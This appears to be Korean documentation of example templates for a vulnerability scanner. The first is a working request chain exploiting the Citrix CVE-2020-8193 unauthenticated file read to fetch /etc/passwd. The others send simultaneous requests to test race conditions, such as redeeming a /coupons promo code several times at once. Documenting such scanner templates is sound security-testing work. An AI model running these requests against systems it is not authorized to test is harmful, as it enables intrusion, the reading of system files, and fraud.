์ด ํ…œํ”Œ๋ฆฟ์€ ๊ฐ ์š”์ฒญ ๊ฐ„์— ์„ธ์…˜์„ ์œ ์ง€ ๊ด€๋ฆฌํ•˜๋Š” ์—ฐ์†์ ์ธ HTTP ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์š”์ฒญ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋™์ ์œผ๋กœ ์ถ”์ถœํ•˜๊ณ  ๋ณ€์ˆ˜ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์š”์ฒญ์œผ๋กœ ์žฌ์‚ฌ์šฉํ•œ ๋‹ค์Œ, ์‘๋‹ต์— ๋Œ€ํ•œ ๋ฌธ์ž์—ด ์ผ์น˜๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

yaml
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

http:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: ยงrandkeyยง

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: ยงrandkeyยง

        <clipermission></clipermission>

    cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

File: docs/kr/template-examples/http-race-conditions.md

๋‹จ์ผ POST ์š”์ฒญ์œผ๋กœ ๊ฒฝ์Ÿ ์กฐ๊ฑด ํ…Œ์ŠคํŠธ.

์ด ํ…œํ”Œ๋ฆฟ์€ /coupons ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•œ RAW ํ˜•์‹์˜ ์ •์˜๋œ POST ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค. race_count๊ฐ€ 10์œผ๋กœ ์ •์˜๋˜๋ฏ€๋กœ ๋ชจ๋“  ์š”์ฒญ์— โ€‹โ€‹๋Œ€ํ•ด ํ•จ๊ป˜ ๋ณด๋‚ธ ๋ชจ๋“  ์š”์ฒญ์— โ€‹โ€‹๋Œ€ํ•œ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ ๋ณด์œ ํ•˜์—ฌ ๋™์‹œ์— 10๊ฐœ์˜ ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค. send ์ด๋ฒคํŠธ ๋™๊ธฐํ™”๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ๊ฒฝ์Ÿ ์กฐ๊ฑด ์•…์šฉ์ด ์ž‘๋™ํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋Š” ์˜ˆ์ƒ ์ถœ๋ ฅ์— ๋Œ€ํ•œ ๋‹ค๋ฅธ ํ…œํ”Œ๋ฆฟ์œผ๋กœ matcher๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

yaml
id: race-condition-testing

info:
  name: Race Condition testing
  author: pdteam
  severity: info

http:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
        Cookie: user_session=42332423342987567896

        promo_code=20OFF        

    race: true
    race_count: 10

    matchers:
      - type: status
        part: header
        status:
          - 200

์—ฌ๋Ÿฌ ์š”์ฒญ์œผ๋กœ ๊ฒฝ์Ÿ ์กฐ๊ฑด ํ…Œ์ŠคํŠธ.

์ด ํ…œํ”Œ๋ฆฟ์€ threads๊ฐ€ 5๋กœ ์„ค์ •๋œ RAW ํ˜•์‹์˜ ์ •์˜๋œ ์—ฌ๋Ÿฌ POST ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ฒฝ์Ÿ ์กฐ๊ฑด์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์š”์ฒญ์„ ๋ณด๋‚ด์•ผ ํ•  ๋•Œ threads๋ฅผ ๊ฒฝ์Ÿ ์กฐ๊ฑด ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. threads ๋ฒˆํ˜ธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ…œํ”Œ๋ฆฟ์œผ๋กœ ๋งŒ๋“œ๋Š” ์ˆ˜์™€ ๋™์ผํ•ด์•ผ ํ•˜๋ฉฐ ๋‹จ์ผ ์š”์ฒญ๋งŒ ํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

yaml
id: race-condition-testing

info:
  name: Race condition testing with multiple requests
  author: pdteam
  severity: info

http:
  - raw:  
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=1
        
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=2

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=3

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=4

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=5

    threads: 5
    race: true

    matchers:
      - type: status
        status:
          - 200